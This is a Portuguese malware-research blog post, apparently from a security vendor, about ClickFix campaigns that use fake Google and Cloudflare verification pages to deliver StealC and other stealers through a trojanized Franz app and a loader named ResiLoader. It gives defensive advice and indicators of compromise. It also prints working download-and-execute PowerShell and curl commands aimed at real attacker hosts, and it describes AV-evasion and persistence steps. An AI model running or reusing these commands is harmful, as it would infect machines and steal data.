Páginas falsas de verificação do Google e da Cloudflare disseminam várias famílias de malware

| 2 de julho de 2026
Páginas falsas de verificação do Google e da Cloudflare disseminam várias famílias de malware

Os ataques «ClickFix», que levam as pessoas a executar elas próprias comandos maliciosos, continuam a evoluir. Esta última campanha utiliza páginas de verificação falsas do Google e da Cloudflare para convencer as vítimas a infetarem os seus próprios dispositivos.

Um único erro pode instalar malware que rouba palavras-passe e outros dados confidenciais, concede aos atacantes acesso remoto ao seu computador ou descarrega malware adicional capaz de assumir o controlo total do seu sistema.

Descobrimos várias campanhas que utilizavam a mesma infraestrutura para distribuir malware, incluindo o HijackLoader, o StealC, o Remus, o Amatera Stealer, o CastleLoader, o NetSupport e um stealer baseado em Rust.

Numa cadeia de infeção, uma versão trojanizada da aplicação legítima de mensagens Franz descarrega um carregador até então não documentado, denominado ResiLoader, que desativa o software de segurança antes de implementar o infostealer StealC.

Antes de abordarmos os pormenores técnicos, eis como evitar tornar-se a próxima vítima.

Como se manter seguro

Os ataques ClickFix baseiam-se em convencer-te a executar comandos por ti próprio. A abordagem mais segura é simples:

  • Nunca copie nem execute comandos de um site, a menos que esteja a seguir instruções de uma fonte fiável e compreenda exatamente o que o comando faz.
  • Tenha cuidado com as páginas de verificação. O Google, a Cloudflare, a Microsoft e outros serviços legítimos nunca lhe pedirão para colar comandos do PowerShell no Windows provar que é humano ou para resolver um problema.
  • Não deixes que a urgência te apresse. As páginas de verificação falsas costumam utilizar contadores de tempo, contadores de visitantes ou avisos para te pressionar a agir rapidamente.
  • Mantenha o seu software de segurança atualizado. A proteção em tempo real e a proteção na Web podem ajudar a bloquear sites maliciosos antes de aceder a eles.
  • Desconfie de instruções técnicas inesperadas. Se um site lhe pedir para abrir o PowerShell, o Prompt de Comandos ou o Terminal, pare e verifique as instruções através dos canais oficiais de apoio da empresa.

Dica profissional: Malwarebytes Browser Guard pode avisá-lo quando um site tentar copiar conteúdo para a sua área de transferência — um truque comum utilizado pelas páginas do ClickFix.

Análise técnica

As campanhas analisadas nesta investigação estão ativas, pelo menos, desde o final de 2025 e utilizam uma variedade de páginas falsas do Google e da Cloudflare para distribuir malware. Embora os iscos sejam diferentes, partilham grande parte da mesma infraestrutura e cadeia de infeção, com os atacantes a testarem continuamente novos métodos de distribuição e cargas maliciosas.

Iscas diferentes, um único objetivo

A maioria das campanhas partilha várias características:

  • Utilização da pasta C:\ProgramData\Zooms para extrair as fases posteriores
  • Comandos do PowerShell ClickFix que seguem padrões semelhantes
  • Utilização de buckets do Cloudflare R2 para distribuir conteúdos
  • Endereços IP alojados pela ASN Dedik Services Limited
  • Respostas HTML que contenham apenas a frase "hehe"

Estes indicadores têm vindo a mudar ao longo do tempo, pelo que não aparecem em todas as cadeias de infeção. As campanhas continuam a evoluir, com a introdução regular de novas cargas maliciosas e métodos de distribuição. Por exemplo, em alguns casos, o endereço IP é utilizado diretamente para a distribuição da carga maliciosa, em vez de se recorrer a «buckets».

O comando final copiado pelo utilizador segue normalmente este padrão: 

powershell -c “iex(irm ‘{IP}:{Port}/{Random Path}’ -UseBasicParsing)”

A porta e o caminho nem sempre estão presentes nos casos analisados; as portas são aleatórias, mas algumas das que são utilizadas são: 6600, 9900, 5506, 7895, 7493, 149, 8442. 

Para executar estes comandos, são utilizados vários modelos relacionados com o ClickFix, principalmente ligados ao Google e ao Cloudflare. Detetámos também que, em alguns casos, o comando do PowerShell foi distribuído através da estrutura IClickFix. 

Observámos que estas campanhas do ClickFix estavam a ser divulgadas através de:

  • Sites antigos que provavelmente expiraram e foram readquiridos pelo(s) autor(es).  
  • CloudFlare Pages (.pages.dev domínios). 
  • Sites comprometidos. 
  • Serviços falsos, por exemplo, relacionados com códigos QR ou acesso a ficheiros na Web. 

O Google ClickFix atrai 

Os responsáveis por estas campanhas utilizam várias páginas HTML e kits relacionados com o Google. 

Uma isca simula a verificação do Google reCAPTCHA. As páginas estão alojadas em URLs aleatórias que apresentam conteúdo falso ou malicioso. Estes domínios são, muitas vezes, registos mais antigos que recentemente passaram a apontar para novos endereços IP, o que sugere que foram reaproveitados para a campanha.

Algumas destas páginas têm parâmetros de URL como «zoneid», «cost», «device», «country» e «clickid», por exemplo: 

  • /conf/captcha.html?zoneid=10420852 
  • /wincapbot/nobot.html 
  • /xmr/trkuste.php?zone=5327134 
  • bless.php?zoneid=10327549&clickid=1091581084925173761&cost=0.000000&country=US&device=desktop 
Página do ClickFix «Verificação manual necessária»
Página do ClickFix «Verificação manual necessária»
Página do ClickFix «Verificação manual necessária»

Neste caso, as funções relacionadas com o ClickFix estão implementadas na classe CustomCaptcha. O comando está presente em texto simples, sem qualquer ofuscação. 

Método «StartVerification» na classe «CustomCaptcha»
Método «StartVerification» na classe «CustomCaptcha»

Outro método de distribuição utiliza o Cloudflare Pages alojado em .pages.dev subdomínios.

Página «Confirme que é humano» do ClickFix
Página «Confirme que é humano» do ClickFix

Neste caso, a página HTML é ofuscada através da declaração de várias variáveis e da aplicação de uma operação XOR às mesmas. O código desofuscado chama-se SECURITY GATEWAY e é composto pelas funções GatewayRuntime, RemoteVault, BeaconDispatcher, Clipboard, TokenController, e PanelController.  

O código permite que os atacantes recuperem o comando, quer remotamente, quer localmente. Neste exemplo, o comando malicioso do PowerShell está armazenado localmente.

O comando PowerShell declarado no código «SECURITY GATEWAY»
O comando PowerShell declarado no código «SECURITY GATEWAY»

Descobrimos também que alguns destes domínios já tinham distribuído outro isco no passado, neste caso associado a um início de sessão não autorizado no Google. Este isco do ClickFix pede ao utilizador que copie e cole o comando malicioso para definir o seu dispositivo como principal. 

Página do ClickFix «Novo início de sessão com token de confiança»
Página do ClickFix «Novo início de sessão com token de confiança»

O que é interessante neste kit ClickFix é que inclui um «portão de aprovação», tal como descrito nos comentários, e que o atacante tem de selecionar manualmente, a partir do painel, qual o comando que pretende que o utilizador execute. 

Comentários sobre o kit e o «processo de aprovação»
Comentários sobre o kit e o «processo de aprovação»
Comentários sobre o kit e o «processo de aprovação»

Em campanhas mais recentes, detetámos um isco do ClickFix relacionado com o Google Meet, que exige a cópia e colagem de um comando malicioso para resolver problemas de áudio. 

A isca «corrigir o controlador de áudio» do Meet ClickFix
A isca do Google Meet ClickFix intitulada «corrigir o controlador de áudio»

Nos casos analisados, o desfecho /api/driver-clipboard.php devolveu o seguinte comando malicioso:

{"mac":"curl -kfsSL $(echo '…'|base64 -D)|zsh","windows":"powershell -c \"iex(irm '151.240.151.126/rRlmZcaaZfAE3U2BaH' -UseBasicParsing)\""} 

Outras iscas 

Os responsáveis por esta campanha utilizam vários kits e iscos, na sua maioria relacionados com o Google. No entanto, detetámos outros iscos que copiavam comandos relacionados com a mesma infraestrutura. 

Os autores destes ataques também comprometem vários sítios Web utilizando diferentes modelos relacionados com o engodo «CloudFlare ClickFix ». 

Páginas do ClickFix com a mensagem «Confirme que é humano»
Páginas do ClickFix com a mensagem «Confirme que é humano»
Páginas do ClickFix com a mensagem «Confirme que é humano»

Detetámos vários modelos utilizados nas páginas do CloudFlare. O comando está presente de forma visível ou, em alguns casos, ofuscado nos casos analisados. 

Algumas das páginas HTML do ClickFix da CloudFlare 
Algumas das páginas HTML do ClickFix da CloudFlare 
Algumas das páginas HTML do ClickFix da CloudFlare 
Algumas das páginas HTML do ClickFix da CloudFlare 

Detetámos também alguns sites de serviços falsos criados especificamente para o efeito. Por exemplo, um site chamado «My QR Generator» apresenta um código QR ofuscado e pede ao utilizador que execute um comando do PowerShell para verificar que não é um robô. 

Página de promoção do ClickFix com «Código QR» 
Página de promoção do ClickFix com «Código QR» 

Neste caso, o comando está codificado em base-64: 

Comando PowerShell descodificado
Comando PowerShell descodificado

Programa de download do PowerShell 

O comando ClickFix executado pelo utilizador descodifica um script e guarda-o na pasta Temp com o nome tmp{4 char}.tmp.ps1

Detetámos várias variações deste script, mas as versões mais recentes fazem o seguinte: 

  • Criar a pasta C:\ProgramData\Zooms
  • Descarregue a próxima etapa de um bucket do CloudFlare e guarde-a em C:\ProgramData\Zooms. Em algumas variantes do script, a fase seguinte é descarregada diretamente a partir de um endereço IP. 
  • Envie as informações relativas ao computador comprometido para http://{IP}/dl-callback. Em algumas variantes do guião, esta parte não está presente. 
Script do PowerShell guardado
Script do PowerShell guardado

Os atacantes responsáveis por estas campanhas utilizam um grande número de cargas úteis diferentes. As campanhas distribuem uma grande variedade de cargas úteis. A tabela abaixo resume alguns dos nomes dos ficheiros descarregados e o malware que estes instalam. Em muitos dos casos analisados, a carga útil final foi distribuída através do «DLL Hijacking», como também veremos mais adiante no caso do StealC. 

Ficheiro distribuído Malware distribuído 
libEGL.zip, Safe-1.zip Aplicação Electron com código malicioso, ResiLoader e StealC 
Test.msi Deno Loader e PowerShell Stealer 
arworks.zip Amatera Stealer 
water-night.zip Remus Stealer 
Setup.msi, Invintrum_first.msi NetSupport 
traffic1.msi CastleLoader 
ibrowser.exe Ladrão de Ferrugem 

Analisámos um novo carregador denominado ResiLoader, que acaba por distribuir o StealC. Detetámos também que o autor da ameaça, nas campanhas mais recentes, começou a utilizar o Deno para distribuir, na fase final, um programa de roubo de dados desenvolvido em PowerShell; a análise desta cadeia de infeção poderá ser tema de um futuro artigo no blogue. 

A aplicação Electron, que contém um trojan, descarrega o ResiLoader

Neste caso, o ficheiro ZIP foi descarregado a partir de: 

  • pub-7080e0c20a0e47ca95a476869c532367.r2[.]dev/libEGL.zip 

Após a extração para: 

  • C:\ProgramData\Zooms\libEGL.zip_ext

O ficheiro zip contém uma versão com um trojan da aplicação de mensagens de código aberto chamada «Franz»: 

A aplicação «Franz», infectada com um trojan, utilizada para descarregar o ResiLoader
A aplicação «Franz», infectada com um trojan, utilizada para descarregar o ResiLoader

O código malicioso está implementado no index.js ficheiro: 

O código ofuscado na aplicação com porta traseira
O código ofuscado na aplicação com porta traseira

O programa de transferência realiza as seguintes operações: 

  • Decodifique as cadeias de caracteres com a função HC()
  • Leituras readme.txt, espera uma chave de campanha com o seguinte formato AAAA-BBBB, devolve-o como um conjunto de tokens. Neste caso, o nome é resiloader-1 e, por isso, chamamos à DLL descarregada «ResiLoader». 
  • Leituras %APPDATA%\setup.txt; se não existir, gera uma cadeia de caracteres aleatória com 8 caracteres e guarda-a.  
  • Obter persistência utilizando app.setLoginItemSettings
  • Envia um pedido POST para https[:]//completstep[.]com/api/ e elaborar a resposta JSON
    • Se task.e se estiver presente, executa-se eval(task.e); permite ao atacante executar código JavaScript arbitrário. 
    • Se task.files se estiver presente, criar %TEMP%\<Date.now()>\, descodificar e gravar cada ficheiro; se algum nome de ficheiro terminar em .exe, execute-o através de child_process.exec

No nosso caso, recebemos um ficheiro ZIP que efetua o «hijacking» da DLL de ssh-add.exe

{"task":{"name":"JUNE18USY","files":{ 

   "msys-2.0.dll":"<base64>", 

   "msys-crypto-3.dll":"<base64>", 

   "msys-gcc_s-seh-1.dll":"<base64>", 

   "ssh-add.exe":"<base64>" }}}

Posteriormente, o ficheiro executável foi executado com: 

C:\WINDOWS\system32\cmd.exe /d /s /c ""C:\Users\{user}\AppData\Local\Temp\1782122017599\ssh-add.exe"" 

ResiLoader

O msys-crypto-3.dll é um código ofuscado .NET NativeAOT loader que implementa a evasão de AV/EDR utilizando uma técnica BYOD, obtém persistência e, por fim, carrega o programa de roubo de dados StealC. Não encontrámos uma atribuição específica para este carregador e, por isso, denominámo-lo «ResiLoader», com base na cadeia de caracteres presente em versões anteriores readme.txt

O carregador contém várias cadeias de caracteres, algumas em texto simples e outras encriptadas. Após desencriptar as cadeias de caracteres, é possível obter uma visão completa da funcionalidade do ResiLoader. 

MANPO: ReadModule len=... 

MANPO: magicOffset=...
… 

PERS: FAIL all file copies failed, skipping run key 

PERS: FAIL both HKLM and HKCU Run key writes failed 
… 

RUNPE: CreateProcess failed 

RUNPE: PEB patched 

RUNPE: VirtualAllocEx failed 
… 

POST: RunForever exited (unexpected) 

POST: entering RunForever 

POST: hollow=

O carregador realiza as seguintes operações: 

  • Extrair o blob codificado que contém duas cargas úteis, lendo o marcador AtLorenBase e o comprimento do blob codificado. Em seguida, descodifica o blob e descodifica o controlador pcdhost.sys (OPSWAT  
    (AppRemover Driver) e a carga útil StealC, utilizando um algoritmo de descodificação personalizado.  
  • Encerre mais de 140 processos relacionados com o EDR/AV utilizando o controlador desativado. 
  • Contornar o UAC através de ICMLuaUtil Interface COM avançada. 
  • Criar uma pasta C:\ProgramData\Google Update, copiando-se a si próprio; adicionando persistência através da chave de registo RUN 
  • cmd /c start "" /D "C:\ProgramData\Google Update" ssh-add.exe 

Por fim, o carregador realiza o esvaziamento do processo ServiceModelReg.exe para executar o StealC. 

COIs 

Hash 

72907d0ca3258365838626f6a8d993a6: DLL do ResiLoader 

0234E3188F2883A438B3F2BEAB7A78B2: StealC 

6a9ac6b3fff7b695dbd4df6ff7f6c516: Remus 

206ce339febca0c3bcc850f42595fc63: Amatera Stealer 

eee416efcb1e33f220cdb4b05496a07a: NetSupport RAT 

b8d53740024d126cb55f83854335a4ab: Rust Stealer 

Domínios 

Distribuir as páginas do ClickFix: 

onegeekworld[.]com 

thefirmos[.]com 

antibotv3[.]com 

centralwildcats[.]com 

cloud.antibotv3[.]com 

cloudautosolutions[.]com 

sunseekersupply[.]com 

123clocks[.]com 

orcanegames[.]com 

rwmonitoring[.]com 

100furniture[.]com 

nepalcharchaa[.]com 

p-floribunds.pages[.]dev 

pg-altirade2.pages[.]dev 

pg-cordivant-m6.pages[.]dev 

g-luminence.pages[.]dev 

generator-qrcode[.]online 

regdev-google[.]com 

khosla[.]capital 

eorgke09054909j[.]com 

dropboxi[.]com 

Buckets da CloudFlare utilizados para a distribuição da carga útil

pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev 

pub-620528e2dc874e16937673265aa23d39.r2[.]dev 

pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev 

pub-9682d5896df841679c5a17eb41273f89.r2[.]dev 

pub-18d99d0d18b94e85824c1cc4d5b5c637.r2[.]dev 

pub-0170eabb9df346bd822f863b7c3946e3.r2[.]dev 

pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev 

unitedstateverif[.]com: distribuição da carga útil 

bigflaredefence[.]com: distribuição da carga útil 

popularcard[.]shop: Rust Stealer C2 

xzz[.]proxygrid[.]cc: Amatera Stealer C2 

completstep[.]com: Carregador C2 

eventlogerps1[.]ink: Deno Loader  

be231ro963[.]com: Deno Loader  

IPs 

Endereço IP utilizado para a distribuição da carga útil

151.240.151[.]126 

85.239.149[.]16 

85.239.149[.]40 

93.152.224[.]29 

151.240.151[.]46 

93.152.224[.]167 

85.239.149[.]78 

192.69.195[.]131 

135.181.171[.]40 

94.26.83[.]206 

91.92.34[.]128 

85.239.144[.]31 

93.152.224[.]39 

94.26.90[.]112 

146.19.248[.]120: StealC C2 

Agradecimentos  

Sobre o autor

O Gabriele é um engenheiro de investigação de malware que adora combater o malware. Quando não está a fazer isso, pode encontrá-lo a desfrutar da natureza, da arte e dos animais.